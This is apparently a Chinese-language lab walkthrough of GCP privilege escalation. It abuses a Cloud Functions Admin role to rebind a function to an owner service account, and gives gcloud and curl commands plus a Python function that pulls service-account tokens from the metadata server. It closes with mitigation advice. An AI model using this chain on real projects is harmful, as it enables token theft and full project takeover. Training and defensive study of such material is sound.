GCP权限提升实战:滥用Function Admin角色实现完全项目接管

本文详细分析了如何通过滥用GCP中配置不当的Function Admin角色进行权限提升,从获取云函数源代码到最终获得项目Owner权限的完整攻击链,包含具体的gcloud命令和Python利用代码。

GCP权限提升:滥用Function Admin角色实现完全项目接管

在之前的文章中,我们成功将权限从一个没有角色的服务账户提升到对存储桶具有只读权限的默认服务账户。这使我们能够读取和下载存储桶内容。

在今天的实验中,我们将详细介绍如何通过读取这些存储桶发现易受攻击的云函数的源代码,并最终实现完全项目接管。

我们将使用CyberWarFare Labs的Google Cloud Red Team Specialist(CGRTS)培训进行演示。这是一个优秀的实验,涵盖了许多真实的GCP攻击场景。

目录

  • 所需工具
  • 利用步骤
  • 缓解策略
  • 参考资料
  • GCP渗透测试系列

所需工具

对于本实验,您需要在测试机器上安装gcloud CLI。您可以直接从Google Cloud安装,或使用RedCloud-OS - 这是CWL创建的VMware机器,预装了所有用于云渗透测试评估(GCP、Azure、AWS)的基本工具。

安装选项

  • 安装gcloud CLI | Google Cloud CLI文档
  • RedCloud-OS | GitHub

所需权限

  • 具有Cloud Functions Admin权限的服务账户访问权限(用于修改和部署函数)
  • 使用特权服务账户运行的目标函数,例如具有roles/owner角色的函数

利用步骤

在本实验中,我们获得了名为function-admin-srv-acc的服务账户的访问权限,该账户具有云函数管理员角色。我们通过查看函数的源代码,找到正确的输入参数,并调用函数来窃取其访问令牌。

现在,我们将了解如何使用这些权限来提升我们的访问权限并成为项目所有者。我们将通过修改函数的代码来获取附加到函数的访问令牌(具有roles/owner角色)来实现这一点。

1. 枚举IAM策略

每当我们获得新服务账户的访问权限时,第一步是检查其分配的角色:

1
2
3
4
gcloud projects get-iam-policy [PROJECT NAME] \
  --flatten="bindings[].members" \
  --filter="bindings.members=serviceaccount:[SERVICE-ACCOUNT]" \
  --format="value(bindings.role)"

我们可以看到function-admin-srv-acc账户分配了一个自定义角色:FunctionAdminlzg。

自定义角色通常遵循命名约定,以项目名称开头,后跟角色名称,如: projects/[项目名称]/roles/[角色名称]

这与预定义角色(如roles/owner)不同,后者遵循以下格式: roles/[角色名称]

自定义角色通常用于提供细粒度控制,仅授予目标用户所需的特定权限。

2. 枚举可用函数并检查IAM策略

下一步是使用functions list命令列出项目中的可用函数:

1
gcloud functions list

我们已在本系列的第1篇文章中破坏了network-mgmt-function,在第2篇文章中破坏了function-mgmt-function - 请查看这些文章以更好地了解我们如何达到这一点。

现在我们的目标是resource-mgmt-function。为了收集更多信息,我们使用describe命令检索其元数据:

1
gcloud functions describe [函数名称]

从函数元数据中,有两个有趣的发现:

  • 这是一个HTTP触发的函数 - 意味着我们可以使用curl或访问其URL来调用它。
  • 该函数在默认服务账户下运行,该账户通常具有Editor角色,除非权限受到限制。

了解这一点后,我们可以在以下步骤中利用该函数。

3. 检查服务账户的IAM策略

由于我们从受损的服务账户function-admin-srv-acc获得了cloudfunctions.functions.update权限,我们可以更新函数的配置 - 包括其元数据,如名称、描述和附加的服务账户。

这意味着我们可以将函数的当前服务账户替换为具有更高权限(如roles/owner)的另一个服务账户,以提升我们的访问权限。

要检查分配给服务账户的角色,我们首先配置环境以使用正确的项目,然后列出所有可用的服务账户:

1
2
3
4
5
# 设置默认项目
gcloud config set project [项目ID]

# 验证当前项目配置
gcloud config get-value project

接下来,列出项目中的所有服务账户:

1
gcloud iam service-accounts list

要检查分配给每个账户的角色,并识别任何比附加到resource-mgmt-function的默认账户具有更多权限的账户,我们可以手动运行以下命令:

1
2
3
4
gcloud projects get-iam-policy [项目名称] \
  --flatten="bindings[].members" \
  --filter="bindings.members=serviceaccount:服务账户" \
  --format="value(bindings.role)"

或者,我们可以使用Bash脚本自动化此过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash

# 确保用户已认证
gcloud auth list --format="value(account)" >/dev/null 2>&1
if [ $? -ne 0 ]; then
    echo "您需要先使用'gcloud auth login'进行认证"
    exit 1
fi

# 提示用户输入项目ID
read -p "输入GCP项目ID(留空使用默认项目):" PROJECT_ID

# 如果用户未提供项目ID,使用默认项目
if [ -z "$PROJECT_ID" ]; then
    PROJECT_ID=$(gcloud config get-value project 2>/dev/null)
fi

# 检查PROJECT_ID是否仍为空
if [ -z "$PROJECT_ID" ]; then
    echo "未提供或设置项目ID。使用'gcloud config set project PROJECT_ID'设置一个。"
    exit 1
fi

echo -e "\n获取项目$PROJECT_ID的服务账户..."
echo "-----------------------------------------------"

# 获取指定项目的所有服务账户
SERVICE_ACCOUNTS=$(gcloud iam service-accounts list --project="$PROJECT_ID" --format="value(email)")

if [ -z "$SERVICE_ACCOUNTS" ]; then
    echo "在项目$PROJECT_ID中未找到服务账户"
    exit 0
fi

# 遍历每个服务账户并列出角色和权限
for SA in $SERVICE_ACCOUNTS; do
    echo -e "\n服务账户:$SA"
    # 获取IAM策略(角色)并将其格式化为单行
    ROLES=$(gcloud projects get-iam-policy "$PROJECT_ID" \
        --flatten="bindings[].members" \
        --format="value(bindings.role)" \
        --filter="bindings.members:$SA" | tr '\n' ',' | sed 's/,$//')
    if [ -z "$ROLES" ]; then
        echo "分配的角色:无"
    else
        echo "分配的角色:$ROLES"
    fi
    echo "-----------------------------------------------"
done

echo "完成"

在下面的输出中,我们看到了服务账户列表及其分配的角色。在这里,我们识别出project-admin-srv-acc具有roles/owner权限!这为我们提供了一个可以绑定到resource-mgmt-function的更高权限服务账户。

我们可以进一步优化脚本,遍历自定义角色,检索其权限,甚至添加颜色以提高可读性。我将脚本添加到了GitHub - GCP仓库: https://github.com/nairuzabulhul/gcp-service-account-mapper

4. 更新函数元数据

我们将附加到函数的服务账户更新为project-admin-srv-acc,该账户在项目中具有Owner角色。

为此,我们运行gcloud functions deploy命令,传递函数的源代码和function-mgmt-srv-acc的访问令牌(我们已经破坏)来更新函数的设置。

我们在之前的文章中获得了函数源代码,当时我们获得了对存储桶具有只读OAuth范围的默认服务账户的访问权限。

以下是部署命令:

1
2
3
4
5
6
7
gcloud functions deploy [云函数名称] \
  --region=[区域] \
  --trigger-http \
  --source=[主文件位置] \
  --entry-point=[函数名称] \
  --service-account=[服务账户] \
  --access-token-file=[访问令牌]

运行deploy命令时需要考虑以下几点:

  • 主源文件必须命名为main.py、main.js或main.java等。
  • --source标志应指向包含函数代码的目录。
  • --entry-point是在主源文件中定义的函数名称。

如下所示,我们成功运行了deploy命令,并将函数的服务账户更新为project-admin-srv。

5. 更新函数源代码

由于我们的服务账户function-admin-srv-acc具有管理员角色,该账户已包含在角色分配中的cloudfunctions.functions.sourceCodeSet权限。有了此权限,我们可以修改函数的代码并提取附加服务账户project-admin-srv的访问令牌。

以下是用于获取令牌的Python代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import json
from urllib.request import Request, urlopen

def access_token(request):
    request_json = request.get_json()
    req = Request('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token')
    req.add_header('Metadata-Flavor', 'Google')
    token = json.loads(urlopen(req).read())
    req = Request('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=32555940559.apps.googleusercontent.com')
    req.add_header('Metadata-Flavor', 'Google')
    token["identity"] = urlopen(req).read().decode("utf-8")
    return json.dumps(token)

首先,确保function-admin-srv-acc服务账户具有新的访问令牌,因为它会在1小时后过期。您可以通过触发我们之前破坏的函数来获取令牌:

1
2
3
curl -X POST "https://us-central1-cgcrts-staging.cloudfunctions.net/function-mgmt-function?action=token" \
  -H "Content-Type: application/json" \
  -d '{}'

获得令牌后,使用新代码部署更新的函数:

1
2
3
4
5
6
7
gcloud functions deploy resource-mgmt-function \
  --region=us-central1 \
  --trigger-http \
  --source=/home/cwl/Documents/gcp_lab/resource-mgmt-function \
  --entry-point=access_token \
  --service-account=project-admin-srv-acc@cgcrts-staging.iam.gserviceaccount.com \
  --access-token-file=function_token.txt

部署后,调用更新的函数以检索访问令牌:

1
2
3
gcloud functions call resource-mgmt-function \
  --data '{}' \
  --access-token-file=function_token.txt

最后,验证访问令牌是否属于project-admin-srv-acc账户:

1
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=访问令牌

缓解策略

为了减少通过配置不当的Function Admin角色或过度许可的服务账户进行权限提升的风险,请考虑以下最佳实践:

  • 仅授予所需的最小权限集。避免将Editor或Owner等角色分配给默认服务账户。
  • 使用仅包含服务账户目的所需权限的自定义角色。除非必要,不要添加过度特权的权限,如cloudfunctions.sourceCodeSet、cloudfunctions.functions.update或iam.serviceAccounts.actAs。
  • 审计现有的云函数,并停用那些已弃用或未使用的函数。

本实验突显了如何滥用通过配置不当的Function Admin角色授予的有限权限来提升权限并破坏整个GCP项目。

通过将IAM策略枚举、云函数滥用和服务账户模拟链接在一起,我们展示了一个导致roles/owner的完整权限提升路径。

至此,我们结束了本文。敬请期待下一篇文章!

参考资料

  • Google Cloud Red Team Specialist [CGRTS]
  • GCP渗透测试系列
  • 使用配置不当的IAM策略窃取云函数访问令牌[GCP]
  • 滥用计算实例IAM错误配置在GCP中获取权限
  • GCP权限提升:滥用Function Admin角色实现完全项目接管
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计